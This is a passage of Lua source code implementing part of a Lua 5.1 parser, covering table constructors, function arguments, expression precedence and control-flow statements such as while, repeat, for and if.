  1733. cc.na = cc.na - 1 -- do not count last expression (unknown number of elements)
  1734. else
  1735. if cc.v.k ~= "VVOID" then
  1736. luaK:exp2nextreg(fs, cc.v)
  1737. end
  1738. luaK:setlist(fs, cc.t.info, cc.na, cc.tostore)
  1739. end
  1740. end
  1741.  
  1742. ------------------------------------------------------------------------
  1743. -- parse a table list (array) field
  1744. -- * used in constructor()
  1745. ------------------------------------------------------------------------
  1746. function luaY:listfield(ls, cc)
  1747. self:expr(ls, cc.v)
  1748. self:checklimit(ls.fs, cc.na, self.MAX_INT, "items in a constructor")
  1749. cc.na = cc.na + 1
  1750. cc.tostore = cc.tostore + 1
  1751. end
  1752.  
  1753. ------------------------------------------------------------------------
  1754. -- parse a table constructor
  1755. -- * used in funcargs(), simpleexp()
  1756. ------------------------------------------------------------------------
  1757. function luaY:constructor(ls, t)
  1758. -- constructor -> '{' [ field { fieldsep field } [ fieldsep ] ] '}'
  1759. -- field -> recfield | listfield
  1760. -- fieldsep -> ',' | ';'
  1761. local fs = ls.fs
  1762. local line = ls.linenumber
  1763. local pc = luaK:codeABC(fs, "OP_NEWTABLE", 0, 0, 0)
  1764. local cc = {} -- ConsControl
  1765. cc.v = {}
  1766. cc.na, cc.nh, cc.tostore = 0, 0, 0
  1767. cc.t = t
  1768. self:init_exp(t, "VRELOCABLE", pc)
  1769. self:init_exp(cc.v, "VVOID", 0) -- no value (yet)
  1770. luaK:exp2nextreg(ls.fs, t) -- fix it at stack top (for gc)
  1771. self:checknext(ls, "{")
  1772. repeat
  1773. assert(cc.v.k == "VVOID" or cc.tostore > 0)
  1774. if ls.t.token == "}" then break end
  1775. self:closelistfield(fs, cc)
  1776. local c = ls.t.token
  1777.  
  1778. if c == "TK_NAME" then -- may be listfields or recfields
  1779. luaX:lookahead(ls)
  1780. if ls.lookahead.token ~= "=" then -- expression?
  1781. self:listfield(ls, cc)
  1782. else
  1783. self:recfield(ls, cc)
  1784. end
  1785. elseif c == "[" then -- constructor_item -> recfield
  1786. self:recfield(ls, cc)
  1787. else -- constructor_part -> listfield
  1788. self:listfield(ls, cc)
  1789. end
  1790. until not self:testnext(ls, ",") and not self:testnext(ls, ";")
  1791. self:check_match(ls, "}", "{", line)
  1792. self:lastlistfield(fs, cc)
  1793. luaP:SETARG_B(fs.f.code[pc], self:int2fb(cc.na)) -- set initial array size
  1794. luaP:SETARG_C(fs.f.code[pc], self:int2fb(cc.nh)) -- set initial table size
  1795. end
  1796.  
  1797. -- }======================================================================
  1798.  
  1799. ------------------------------------------------------------------------
  1800. -- parse the arguments (parameters) of a function declaration
  1801. -- * used in body()
  1802. ------------------------------------------------------------------------
  1803. function luaY:parlist(ls)
  1804. -- parlist -> [ param { ',' param } ]
  1805. local fs = ls.fs
  1806. local f = fs.f
  1807. local nparams = 0
  1808. f.is_vararg = 0
  1809. if ls.t.token ~= ")" then -- is 'parlist' not empty?
  1810. repeat
  1811. local c = ls.t.token
  1812. if c == "TK_NAME" then -- param -> NAME
  1813. self:new_localvar(ls, self:str_checkname(ls), nparams)
  1814. nparams = nparams + 1
  1815. elseif c == "TK_DOTS" then -- param -> `...'
  1816. luaX:next(ls)
  1817. -- [[
  1818. -- #if defined(LUA_COMPAT_VARARG)
  1819. -- use `arg' as default name
  1820. self:new_localvarliteral(ls, "arg", nparams)
  1821. nparams = nparams + 1
  1822. f.is_vararg = self.VARARG_HASARG + self.VARARG_NEEDSARG
  1823. -- #endif
  1824. --]]
  1825. f.is_vararg = f.is_vararg + self.VARARG_ISVARARG
  1826. else
  1827. luaX:syntaxerror(ls, "<name> or "..self:LUA_QL("...").." expected")
  1828. end
  1829. until f.is_vararg ~= 0 or not self:testnext(ls, ",")
  1830. end--if
  1831. self:adjustlocalvars(ls, nparams)
  1832. -- NOTE: the following works only when HASARG_MASK is 2!
  1833. f.numparams = fs.nactvar - (f.is_vararg % self.HASARG_MASK)
  1834. luaK:reserveregs(fs, fs.nactvar) -- reserve register for parameters
  1835. end
  1836.  
  1837. ------------------------------------------------------------------------
  1838. -- parse function declaration body
  1839. -- * used in simpleexp(), localfunc(), funcstat()
  1840. ------------------------------------------------------------------------
  1841. function luaY:body(ls, e, needself, line)
  1842. -- body -> '(' parlist ')' chunk END
  1843. local new_fs = {} -- FuncState
  1844. new_fs.upvalues = {}
  1845. new_fs.actvar = {}
  1846. self:open_func(ls, new_fs)
  1847. new_fs.f.lineDefined = line
  1848. self:checknext(ls, "(")
  1849. if needself then
  1850. self:new_localvarliteral(ls, "self", 0)
  1851. self:adjustlocalvars(ls, 1)
  1852. end
  1853. self:parlist(ls)
  1854. self:checknext(ls, ")")
  1855. self:chunk(ls)
  1856. new_fs.f.lastlinedefined = ls.linenumber
  1857. self:check_match(ls, "TK_END", "TK_FUNCTION", line)
  1858. self:close_func(ls)
  1859. self:pushclosure(ls, new_fs, e)
  1860. end
  1861.  
  1862. ------------------------------------------------------------------------
  1863. -- parse a list of comma-separated expressions
  1864. -- * used is multiple locations
  1865. ------------------------------------------------------------------------
  1866. function luaY:explist1(ls, v)
  1867. -- explist1 -> expr { ',' expr }
  1868. local n = 1 -- at least one expression
  1869. self:expr(ls, v)
  1870. while self:testnext(ls, ",") do
  1871. luaK:exp2nextreg(ls.fs, v)
  1872. self:expr(ls, v)
  1873. n = n + 1
  1874. end
  1875. return n
  1876. end
  1877.  
  1878. ------------------------------------------------------------------------
  1879. -- parse the parameters of a function call
  1880. -- * contrast with parlist(), used in function declarations
  1881. -- * used in primaryexp()
  1882. ------------------------------------------------------------------------
  1883. function luaY:funcargs(ls, f)
  1884. local fs = ls.fs
  1885. local args = {} -- expdesc
  1886. local nparams
  1887. local line = ls.linenumber
  1888. local c = ls.t.token
  1889. if c == "(" then -- funcargs -> '(' [ explist1 ] ')'
  1890. if line ~= ls.lastline then
  1891. luaX:syntaxerror(ls, "ambiguous syntax (function call x new statement)")
  1892. end
  1893. luaX:next(ls)
  1894. if ls.t.token == ")" then -- arg list is empty?
  1895. args.k = "VVOID"
  1896. else
  1897. self:explist1(ls, args)
  1898. luaK:setmultret(fs, args)
  1899. end
  1900. self:check_match(ls, ")", "(", line)
  1901. elseif c == "{" then -- funcargs -> constructor
  1902. self:constructor(ls, args)
  1903. elseif c == "TK_STRING" then -- funcargs -> STRING
  1904. self:codestring(ls, args, ls.t.seminfo)
  1905. luaX:next(ls) -- must use 'seminfo' before 'next'
  1906. else
  1907. luaX:syntaxerror(ls, "function arguments expected")
  1908. return
  1909. end
  1910. assert(f.k == "VNONRELOC")
  1911. local base = f.info -- base register for call
  1912. if self:hasmultret(args.k) then
  1913. nparams = self.LUA_MULTRET -- open call
  1914. else
  1915. if args.k ~= "VVOID" then
  1916. luaK:exp2nextreg(fs, args) -- close last argument
  1917. end
  1918. nparams = fs.freereg - (base + 1)
  1919. end
  1920. self:init_exp(f, "VCALL", luaK:codeABC(fs, "OP_CALL", base, nparams + 1, 2))
  1921. luaK:fixline(fs, line)
  1922. fs.freereg = base + 1 -- call remove function and arguments and leaves
  1923. -- (unless changed) one result
  1924. end
  1925.  
  1926. --[[--------------------------------------------------------------------
  1927. -- Expression parsing
  1928. ----------------------------------------------------------------------]]
  1929.  
  1930. ------------------------------------------------------------------------
  1931. -- parses an expression in parentheses or a single variable
  1932. -- * used in primaryexp()
  1933. ------------------------------------------------------------------------
  1934. function luaY:prefixexp(ls, v)
  1935. -- prefixexp -> NAME | '(' expr ')'
  1936. local c = ls.t.token
  1937. if c == "(" then
  1938. local line = ls.linenumber
  1939. luaX:next(ls)
  1940. self:expr(ls, v)
  1941. self:check_match(ls, ")", "(", line)
  1942. luaK:dischargevars(ls.fs, v)
  1943. elseif c == "TK_NAME" then
  1944. self:singlevar(ls, v)
  1945. else
  1946. luaX:syntaxerror(ls, "unexpected symbol")
  1947. end--if c
  1948. return
  1949. end
  1950.  
  1951. ------------------------------------------------------------------------
  1952. -- parses a prefixexp (an expression in parentheses or a single variable)
  1953. -- or a function call specification
  1954. -- * used in simpleexp(), assignment(), exprstat()
  1955. ------------------------------------------------------------------------
  1956. function luaY:primaryexp(ls, v)
  1957. -- primaryexp ->
  1958. -- prefixexp { '.' NAME | '[' exp ']' | ':' NAME funcargs | funcargs }
  1959. local fs = ls.fs
  1960. self:prefixexp(ls, v)
  1961. while true do
  1962. local c = ls.t.token
  1963. if c == "." then -- field
  1964. self:field(ls, v)
  1965. elseif c == "[" then -- '[' exp1 ']'
  1966. local key = {} -- expdesc
  1967. luaK:exp2anyreg(fs, v)
  1968. self:yindex(ls, key)
  1969. luaK:indexed(fs, v, key)
  1970. elseif c == ":" then -- ':' NAME funcargs
  1971. local key = {} -- expdesc
  1972. luaX:next(ls)
  1973. self:checkname(ls, key)
  1974. luaK:_self(fs, v, key)
  1975. self:funcargs(ls, v)
  1976. elseif c == "(" or c == "TK_STRING" or c == "{" then -- funcargs
  1977. luaK:exp2nextreg(fs, v)
  1978. self:funcargs(ls, v)
  1979. else
  1980. return
  1981. end--if c
  1982. end--while
  1983. end
  1984.  
  1985. ------------------------------------------------------------------------
  1986. -- parses general expression types, constants handled here
  1987. -- * used in subexpr()
  1988. ------------------------------------------------------------------------
  1989. function luaY:simpleexp(ls, v)
  1990. -- simpleexp -> NUMBER | STRING | NIL | TRUE | FALSE | ... |
  1991. -- constructor | FUNCTION body | primaryexp
  1992. local c = ls.t.token
  1993. if c == "TK_NUMBER" then
  1994. self:init_exp(v, "VKNUM", 0)
  1995. v.nval = ls.t.seminfo
  1996. elseif c == "TK_STRING" then
  1997. self:codestring(ls, v, ls.t.seminfo)
  1998. elseif c == "TK_NIL" then
  1999. self:init_exp(v, "VNIL", 0)
  2000. elseif c == "TK_TRUE" then
  2001. self:init_exp(v, "VTRUE", 0)
  2002. elseif c == "TK_FALSE" then
  2003. self:init_exp(v, "VFALSE", 0)
  2004. elseif c == "TK_DOTS" then -- vararg
  2005. local fs = ls.fs
  2006. self:check_condition(ls, fs.f.is_vararg ~= 0,
  2007. "cannot use "..self:LUA_QL("...").." outside a vararg function");
  2008. -- NOTE: the following substitutes for a bitop, but is value-specific
  2009. local is_vararg = fs.f.is_vararg
  2010. if is_vararg >= self.VARARG_NEEDSARG then
  2011. fs.f.is_vararg = is_vararg - self.VARARG_NEEDSARG -- don't need 'arg'
  2012. end
  2013. self:init_exp(v, "VVARARG", luaK:codeABC(fs, "OP_VARARG", 0, 1, 0))
  2014. elseif c == "{" then -- constructor
  2015. self:constructor(ls, v)
  2016. return
  2017. elseif c == "TK_FUNCTION" then
  2018. luaX:next(ls)
  2019. self:body(ls, v, false, ls.linenumber)
  2020. return
  2021. else
  2022. self:primaryexp(ls, v)
  2023. return
  2024. end--if c
  2025. luaX:next(ls)
  2026. end
  2027.  
  2028. ------------------------------------------------------------------------
  2029. -- Translates unary operators tokens if found, otherwise returns
  2030. -- OPR_NOUNOPR. getunopr() and getbinopr() are used in subexpr().
  2031. -- * used in subexpr()
  2032. ------------------------------------------------------------------------
  2033. function luaY:getunopr(op)
  2034. if op == "TK_NOT" then
  2035. return "OPR_NOT"
  2036. elseif op == "-" then
  2037. return "OPR_MINUS"
  2038. elseif op == "#" then
  2039. return "OPR_LEN"
  2040. else
  2041. return "OPR_NOUNOPR"
  2042. end
  2043. end
  2044.  
  2045. ------------------------------------------------------------------------
  2046. -- Translates binary operator tokens if found, otherwise returns
  2047. -- OPR_NOBINOPR. Code generation uses OPR_* style tokens.
  2048. -- * used in subexpr()
  2049. ------------------------------------------------------------------------
  2050. luaY.getbinopr_table = {
  2051. ["+"] = "OPR_ADD",
  2052. ["-"] = "OPR_SUB",
  2053. ["*"] = "OPR_MUL",
  2054. ["/"] = "OPR_DIV",
  2055. ["%"] = "OPR_MOD",
  2056. ["^"] = "OPR_POW",
  2057. ["TK_CONCAT"] = "OPR_CONCAT",
  2058. ["TK_NE"] = "OPR_NE",
  2059. ["TK_EQ"] = "OPR_EQ",
  2060. ["<"] = "OPR_LT",
  2061. ["TK_LE"] = "OPR_LE",
  2062. [">"] = "OPR_GT",
  2063. ["TK_GE"] = "OPR_GE",
  2064. ["TK_AND"] = "OPR_AND",
  2065. ["TK_OR"] = "OPR_OR",
  2066. }
  2067. function luaY:getbinopr(op)
  2068. local opr = self.getbinopr_table[op]
  2069. if opr then return opr else return "OPR_NOBINOPR" end
  2070. end
  2071.  
  2072. ------------------------------------------------------------------------
  2073. -- the following priority table consists of pairs of left/right values
  2074. -- for binary operators (was a static const struct); grep for ORDER OPR
  2075. -- * the following struct is replaced:
  2076. -- static const struct {
  2077. -- lu_byte left; /* left priority for each binary operator */
  2078. -- lu_byte right; /* right priority */
  2079. -- } priority[] = { /* ORDER OPR */
  2080. ------------------------------------------------------------------------
  2081. luaY.priority = {
  2082. {6, 6}, {6, 6}, {7, 7}, {7, 7}, {7, 7}, -- `+' `-' `/' `%'
  2083. {10, 9}, {5, 4}, -- power and concat (right associative)
  2084. {3, 3}, {3, 3}, -- equality
  2085. {3, 3}, {3, 3}, {3, 3}, {3, 3}, -- order
  2086. {2, 2}, {1, 1} -- logical (and/or)
  2087. }
  2088.  
  2089. luaY.UNARY_PRIORITY = 8 -- priority for unary operators
  2090.  
  2091. ------------------------------------------------------------------------
  2092. -- Parse subexpressions. Includes handling of unary operators and binary
  2093. -- operators. A subexpr is given the rhs priority level of the operator
  2094. -- immediately left of it, if any (limit is -1 if none,) and if a binop
  2095. -- is found, limit is compared with the lhs priority level of the binop
  2096. -- in order to determine which executes first.
  2097. ------------------------------------------------------------------------
  2098.  
  2099. ------------------------------------------------------------------------
  2100. -- subexpr -> (simpleexp | unop subexpr) { binop subexpr }
  2101. -- where 'binop' is any binary operator with a priority higher than 'limit'
  2102. -- * for priority lookups with self.priority[], 1=left and 2=right
  2103. -- * recursively called
  2104. -- * used in expr()
  2105. ------------------------------------------------------------------------
  2106. function luaY:subexpr(ls, v, limit)
  2107. self:enterlevel(ls)
  2108. local uop = self:getunopr(ls.t.token)
  2109. if uop ~= "OPR_NOUNOPR" then
  2110. luaX:next(ls)
  2111. self:subexpr(ls, v, self.UNARY_PRIORITY)
  2112. luaK:prefix(ls.fs, uop, v)
  2113. else
  2114. self:simpleexp(ls, v)
  2115. end
  2116. -- expand while operators have priorities higher than 'limit'
  2117. local op = self:getbinopr(ls.t.token)
  2118. while op ~= "OPR_NOBINOPR" and self.priority[luaK.BinOpr[op] + 1][1] > limit do
  2119. local v2 = {} -- expdesc
  2120. luaX:next(ls)
  2121. luaK:infix(ls.fs, op, v)
  2122. -- read sub-expression with higher priority
  2123. local nextop = self:subexpr(ls, v2, self.priority[luaK.BinOpr[op] + 1][2])
  2124. luaK:posfix(ls.fs, op, v, v2)
  2125. op = nextop
  2126. end
  2127. self:leavelevel(ls)
  2128. return op -- return first untreated operator
  2129. end
  2130.  
  2131. ------------------------------------------------------------------------
  2132. -- Expression parsing starts here. Function subexpr is entered with the
  2133. -- left operator (which is non-existent) priority of -1, which is lower
  2134. -- than all actual operators. Expr information is returned in parm v.
  2135. -- * used in multiple locations
  2136. ------------------------------------------------------------------------
  2137. function luaY:expr(ls, v)
  2138. self:subexpr(ls, v, 0)
  2139. end
  2140.  
  2141. -- }====================================================================
  2142.  
  2143. --[[--------------------------------------------------------------------
  2144. -- Rules for Statements
  2145. ----------------------------------------------------------------------]]
  2146.  
  2147. ------------------------------------------------------------------------
  2148. -- checks next token, used as a look-ahead
  2149. -- * returns boolean instead of 0|1
  2150. -- * used in retstat(), chunk()
  2151. ------------------------------------------------------------------------
  2152. function luaY:block_follow(token)
  2153. if token == "TK_ELSE" or token == "TK_ELSEIF" or token == "TK_END"
  2154. or token == "TK_UNTIL" or token == "TK_EOS" then
  2155. return true
  2156. else
  2157. return false
  2158. end
  2159. end
  2160.  
  2161. ------------------------------------------------------------------------
  2162. -- parse a code block or unit
  2163. -- * used in multiple functions
  2164. ------------------------------------------------------------------------
  2165. function luaY:block(ls)
  2166. -- block -> chunk
  2167. local fs = ls.fs
  2168. local bl = {} -- BlockCnt
  2169. self:enterblock(fs, bl, false)
  2170. self:chunk(ls)
  2171. assert(bl.breaklist == luaK.NO_JUMP)
  2172. self:leaveblock(fs)
  2173. end
  2174.  
  2175. ------------------------------------------------------------------------
  2176. -- structure to chain all variables in the left-hand side of an
  2177. -- assignment
  2178. -- struct LHS_assign:
  2179. -- prev -- (table: struct LHS_assign)
  2180. -- v -- variable (global, local, upvalue, or indexed) (table: expdesc)
  2181. ------------------------------------------------------------------------
  2182.  
  2183. ------------------------------------------------------------------------
  2184. -- check whether, in an assignment to a local variable, the local variable
  2185. -- is needed in a previous assignment (to a table). If so, save original
  2186. -- local value in a safe place and use this safe copy in the previous
  2187. -- assignment.
  2188. -- * used in assignment()
  2189. ------------------------------------------------------------------------
  2190. function luaY:check_conflict(ls, lh, v)
  2191. local fs = ls.fs
  2192. local extra = fs.freereg -- eventual position to save local variable
  2193. local conflict = false
  2194. while lh do
  2195. if lh.v.k == "VINDEXED" then
  2196. if lh.v.info == v.info then -- conflict?
  2197. conflict = true
  2198. lh.v.info = extra -- previous assignment will use safe copy
  2199. end
  2200. if lh.v.aux == v.info then -- conflict?
  2201. conflict = true
  2202. lh.v.aux = extra -- previous assignment will use safe copy
  2203. end
  2204. end
  2205. lh = lh.prev
  2206. end
  2207. if conflict then
  2208. luaK:codeABC(fs, "OP_MOVE", fs.freereg, v.info, 0) -- make copy
  2209. luaK:reserveregs(fs, 1)
  2210. end
  2211. end
  2212.  
  2213. ------------------------------------------------------------------------
  2214. -- parse a variable assignment sequence
  2215. -- * recursively called
  2216. -- * used in exprstat()
  2217. ------------------------------------------------------------------------
  2218. function luaY:assignment(ls, lh, nvars)
  2219. local e = {} -- expdesc
  2220. -- test was: VLOCAL <= lh->v.k && lh->v.k <= VINDEXED
  2221. local c = lh.v.k
  2222. self:check_condition(ls, c == "VLOCAL" or c == "VUPVAL" or c == "VGLOBAL"
  2223. or c == "VINDEXED", "syntax error")
  2224. if self:testnext(ls, ",") then -- assignment -> ',' primaryexp assignment
  2225. local nv = {} -- LHS_assign
  2226. nv.v = {}
  2227. nv.prev = lh
  2228. self:primaryexp(ls, nv.v)
  2229. if nv.v.k == "VLOCAL" then
  2230. self:check_conflict(ls, lh, nv.v)
  2231. end
  2232. self:checklimit(ls.fs, nvars, self.LUAI_MAXCCALLS - ls.L.nCcalls,
  2233. "variables in assignment")
  2234. self:assignment(ls, nv, nvars + 1)
  2235. else -- assignment -> '=' explist1
  2236. self:checknext(ls, "=")
  2237. local nexps = self:explist1(ls, e)
  2238. if nexps ~= nvars then
  2239. self:adjust_assign(ls, nvars, nexps, e)
  2240. if nexps > nvars then
  2241. ls.fs.freereg = ls.fs.freereg - (nexps - nvars) -- remove extra values
  2242. end
  2243. else
  2244. luaK:setoneret(ls.fs, e) -- close last expression
  2245. luaK:storevar(ls.fs, lh.v, e)
  2246. return -- avoid default
  2247. end
  2248. end
  2249. self:init_exp(e, "VNONRELOC", ls.fs.freereg - 1) -- default assignment
  2250. luaK:storevar(ls.fs, lh.v, e)
  2251. end
  2252.  
  2253. ------------------------------------------------------------------------
  2254. -- parse condition in a repeat statement or an if control structure
  2255. -- * used in repeatstat(), test_then_block()
  2256. ------------------------------------------------------------------------
  2257. function luaY:cond(ls)
  2258. -- cond -> exp
  2259. local v = {} -- expdesc
  2260. self:expr(ls, v) -- read condition
  2261. if v.k == "VNIL" then v.k = "VFALSE" end -- 'falses' are all equal here
  2262. luaK:goiftrue(ls.fs, v)
  2263. return v.f
  2264. end
  2265.  
  2266. ------------------------------------------------------------------------
  2267. -- parse a break statement
  2268. -- * used in statements()
  2269. ------------------------------------------------------------------------
  2270. function luaY:breakstat(ls)
  2271. -- stat -> BREAK
  2272. local fs = ls.fs
  2273. local bl = fs.bl
  2274. local upval = false
  2275. while bl and not bl.isbreakable do
  2276. if bl.upval then upval = true end
  2277. bl = bl.previous
  2278. end
  2279. if not bl then
  2280. luaX:syntaxerror(ls, "no loop to break")
  2281. end
  2282. if upval then
  2283. luaK:codeABC(fs, "OP_CLOSE", bl.nactvar, 0, 0)
  2284. end
  2285. bl.breaklist = luaK:concat(fs, bl.breaklist, luaK:jump(fs))
  2286. end
  2287.  
  2288. ------------------------------------------------------------------------
  2289. -- parse a while-do control structure, body processed by block()
  2290. -- * with dynamic array sizes, MAXEXPWHILE + EXTRAEXP limits imposed by
  2291. -- the function's implementation can be removed
  2292. -- * used in statements()
  2293. ------------------------------------------------------------------------
  2294. function luaY:whilestat(ls, line)
  2295. -- whilestat -> WHILE cond DO block END
  2296. local fs = ls.fs
  2297. local bl = {} -- BlockCnt
  2298. luaX:next(ls) -- skip WHILE
  2299. local whileinit = luaK:getlabel(fs)
  2300. local condexit = self:cond(ls)
  2301. self:enterblock(fs, bl, true)
  2302. self:checknext(ls, "TK_DO")
  2303. self:block(ls)
  2304. luaK:patchlist(fs, luaK:jump(fs), whileinit)
  2305. self:check_match(ls, "TK_END", "TK_WHILE", line)
  2306. self:leaveblock(fs)
  2307. luaK:patchtohere(fs, condexit) -- false conditions finish the loop
  2308. end
  2309.  
  2310. ------------------------------------------------------------------------
  2311. -- parse a repeat-until control structure, body parsed by chunk()
  2312. -- * used in statements()
  2313. ------------------------------------------------------------------------
  2314. function luaY:repeatstat(ls, line)
  2315. -- repeatstat -> REPEAT block UNTIL cond
  2316. local fs = ls.fs
  2317. local repeat_init = luaK:getlabel(fs)
  2318. local bl1, bl2 = {}, {} -- BlockCnt
  2319. self:enterblock(fs, bl1, true) -- loop block
  2320. self:enterblock(fs, bl2, false) -- scope block
  2321. luaX:next(ls) -- skip REPEAT
  2322. self:chunk(ls)
  2323. self:check_match(ls, "TK_UNTIL", "TK_REPEAT", line)
  2324. local condexit = self:cond(ls) -- read condition (inside scope block)
  2325. if not bl2.upval then -- no upvalues?
  2326. self:leaveblock(fs) -- finish scope
  2327. luaK:patchlist(ls.fs, condexit, repeat_init) -- close the loop
  2328. else -- complete semantics when there are upvalues
  2329. self:breakstat(ls) -- if condition then break
  2330. luaK:patchtohere(ls.fs, condexit) -- else...
  2331. self:leaveblock(fs) -- finish scope...
  2332. luaK:patchlist(ls.fs, luaK:jump(fs), repeat_init) -- and repeat
  2333. end
  2334. self:leaveblock(fs) -- finish loop
  2335. end
  2336.  
  2337. ------------------------------------------------------------------------
  2338. -- parse the single expressions needed in numerical for loops
  2339. -- * used in fornum()
  2340. ------------------------------------------------------------------------
  2341. function luaY:exp1(ls)
  2342. local e = {} -- expdesc
  2343. self:expr(ls, e)
  2344. local k = e.k
  2345. luaK:exp2nextreg(ls.fs, e)
  2346. return k
  2347. end
  2348.  
  2349. ------------------------------------------------------------------------
  2350. -- parse a for loop body for both versions of the for loop
  2351. -- * used in fornum(), forlist()
  2352. ------------------------------------------------------------------------
  2353. function luaY:forbody(ls, base, line, nvars, isnum)
  2354. -- forbody -> DO block
  2355. local bl = {} -- BlockCnt
  2356. local fs = ls.fs
  2357. self:adjustlocalvars(ls, 3) -- control variables
  2358. self:checknext(ls, "TK_DO")
  2359. local prep = isnum and luaK:codeAsBx(fs, "OP_FORPREP", base, luaK.NO_JUMP)
  2360. or luaK:jump(fs)
  2361. self:enterblock(fs, bl, false) -- scope for declared variables
  2362. self:adjustlocalvars(ls, nvars)
  2363. luaK:reserveregs(fs, nvars)
  2364. self:block(ls)
  2365. self:leaveblock(fs) -- end of scope for declared variables
  2366. luaK:patchtohere(fs, prep)
  2367. local endfor = isnum and luaK:codeAsBx(fs, "OP_FORLOOP", base, luaK.NO_JUMP)
  2368. or luaK:codeABC(fs, "OP_TFORLOOP", base, 0, nvars)
  2369. luaK:fixline(fs, line) -- pretend that `OP_FOR' starts the loop
  2370. luaK:patchlist(fs, isnum and endfor or luaK:jump(fs), prep + 1)
  2371. end
  2372.  
  2373. ------------------------------------------------------------------------
  2374. -- parse a numerical for loop, calls forbody()
  2375. -- * used in forstat()
  2376. ------------------------------------------------------------------------
  2377. function luaY:fornum(ls, varname, line)
  2378. -- fornum -> NAME = exp1,exp1[,exp1] forbody
  2379. local fs = ls.fs
  2380. local base = fs.freereg
  2381. self:new_localvarliteral(ls, "(for index)", 0)
  2382. self:new_localvarliteral(ls, "(for limit)", 1)
  2383. self:new_localvarliteral(ls, "(for step)", 2)
  2384. self:new_localvar(ls, varname, 3)
  2385. self:checknext(ls, '=')
  2386. self:exp1(ls) -- initial value
  2387. self:checknext(ls, ",")
  2388. self:exp1(ls) -- limit
  2389. if self:testnext(ls, ",") then
  2390. self:exp1(ls) -- optional step
  2391. else -- default step = 1
  2392. luaK:codeABx(fs, "OP_LOADK", fs.freereg, luaK:numberK(fs, 1))
  2393. luaK:reserveregs(fs, 1)
  2394. end
  2395. self:forbody(ls, base, line, 1, true)
  2396. end
  2397.  
  2398. ------------------------------------------------------------------------
  2399. -- parse a generic for loop, calls forbody()
  2400. -- * used in forstat()
  2401. ------------------------------------------------------------------------
  2402. function luaY:forlist(ls, indexname)
  2403. -- forlist -> NAME {,NAME} IN explist1 forbody
  2404. local fs = ls.fs
  2405. local e = {} -- expdesc
  2406. local nvars = 0
  2407. local base = fs.freereg
  2408. -- create control variables
  2409. self:new_localvarliteral(ls, "(for generator)", nvars)
  2410. nvars = nvars + 1
  2411. self:new_localvarliteral(ls, "(for state)", nvars)
  2412. nvars = nvars + 1
  2413. self:new_localvarliteral(ls, "(for control)", nvars)
  2414. nvars = nvars + 1
  2415. -- create declared variables
  2416. self:new_localvar(ls, indexname, nvars)
  2417. nvars = nvars + 1
  2418. while self:testnext(ls, ",") do
  2419. self:new_localvar(ls, self:str_checkname(ls), nvars)
  2420. nvars = nvars + 1
  2421. end
  2422. self:checknext(ls, "TK_IN")
  2423. local line = ls.linenumber
  2424. self:adjust_assign(ls, 3, self:explist1(ls, e), e)
  2425. luaK:checkstack(fs, 3) -- extra space to call generator
  2426. self:forbody(ls, base, line, nvars - 3, false)
  2427. end
  2428.  
  2429. ------------------------------------------------------------------------
  2430. -- initial parsing for a for loop, calls fornum() or forlist()
  2431. -- * used in statements()
  2432. ------------------------------------------------------------------------
  2433. function luaY:forstat(ls, line)
  2434. -- forstat -> FOR (fornum | forlist) END
  2435. local fs = ls.fs
  2436. local bl = {} -- BlockCnt
  2437. self:enterblock(fs, bl, true) -- scope for loop and control variables
  2438. luaX:next(ls) -- skip `for'
  2439. local varname = self:str_checkname(ls) -- first variable name
  2440. local c = ls.t.token
  2441. if c == "=" then
  2442. self:fornum(ls, varname, line)
  2443. elseif c == "," or c == "TK_IN" then
  2444. self:forlist(ls, varname)
  2445. else
  2446. luaX:syntaxerror(ls, self:LUA_QL("=").." or "..self:LUA_QL("in").." expected")
  2447. end
  2448. self:check_match(ls, "TK_END", "TK_FOR", line)
  2449. self:leaveblock(fs) -- loop scope (`break' jumps to this point)
  2450. end
  2451.  
  2452. ------------------------------------------------------------------------
  2453. -- parse part of an if control structure, including the condition
  2454. -- * used in ifstat()
  2455. ------------------------------------------------------------------------
  2456. function luaY:test_then_block(ls)
  2457. -- test_then_block -> [IF | ELSEIF] cond THEN block
  2458. luaX:next(ls) -- skip IF or ELSEIF
  2459. local condexit = self:cond(ls)
  2460. self:checknext(ls, "TK_THEN")
  2461. self:block(ls) -- `then' part
  2462. return condexit
  2463. end
  2464.  
  2465. ------------------------------------------------------------------------
  2466. -- parse an if control structure
  2467. -- * used in statements()
  2468. ------------------------------------------------------------------------
  2469. function luaY:ifstat(ls, line)
  2470. -- ifstat -> IF cond THEN block {ELSEIF cond THEN block} [ELSE block] END
  2471. local fs = ls.fs
  2472. local escapelist = luaK.NO_JUMP
  2473. local flist = self:test_then_block(ls) -- IF cond THEN block
  2474. while ls.t.token == "TK_ELSEIF" do
  2475. escapelist = luaK:concat(fs, escapelist, luaK:jump(fs))
  2476. luaK:patchtohere(fs, flist)
  2477. flist = self:test_then_block(ls) -- ELSEIF cond THEN block
  2478. end
  2479. if ls.t.token == "TK_ELSE" then
  2480. escapelist = luaK:concat(fs, escapelist, luaK:jump(fs))
  2481. luaK:patchtohere(fs, flist)
  2482. luaX:next(ls) -- skip ELSE (after patch, for correct line info)
  2483. self:block(ls) -- 'else' part
  2484. else
  2485. escapelist = luaK:concat(fs, escapelist, flist)
  2486. end
  2487. luaK:patchtohere(fs, escapelist)
  2488. self:check_match(ls, "TK_END", "TK_IF", line)
  2489. end
  2490.  
  2491. ------------------------------------------------------------------------
  2492. -- parse a local function statement
  2493. -- * used in statements()
  2494. ------------------------------------------------------------------------
  2495. function luaY:localfunc(ls)
  2496. local v, b = {}, {} -- expdesc
  2497. local fs = ls.fs
  2498. self:new_localvar(ls, self:str_checkname(ls), 0)
  2499. self:init_exp(v, "VLOCAL", fs.freereg)
  2500. luaK:reserveregs(fs, 1)
  2501. self:adjustlocalvars(ls, 1)
  2502. self:body(ls, b, false, ls.linenumber)
  2503. luaK:storevar(fs, v, b)
  2504. -- debug information will only see the variable after this point!
  2505. self:getlocvar(fs, fs.nactvar - 1).startpc = fs.pc
  2506. end
  2507.  
  2508. ------------------------------------------------------------------------
  2509. -- parse a local variable declaration statement
  2510. -- * used in statements()
  2511. ------------------------------------------------------------------------
  2512. function luaY:localstat(ls)
  2513. -- stat -> LOCAL NAME {',' NAME} ['=' explist1]
  2514. local nvars = 0
  2515. local nexps
  2516. local e = {} -- expdesc
  2517. repeat
  2518. self:new_localvar(ls, self:str_checkname(ls), nvars)
  2519. nvars = nvars + 1
  2520. until not self:testnext(ls, ",")
  2521. if self:testnext(ls, "=") then
  2522. nexps = self:explist1(ls, e)
  2523. else
  2524. e.k = "VVOID"
  2525. nexps = 0
  2526. end
  2527. self:adjust_assign(ls, nvars, nexps, e)
  2528. self:adjustlocalvars(ls, nvars)
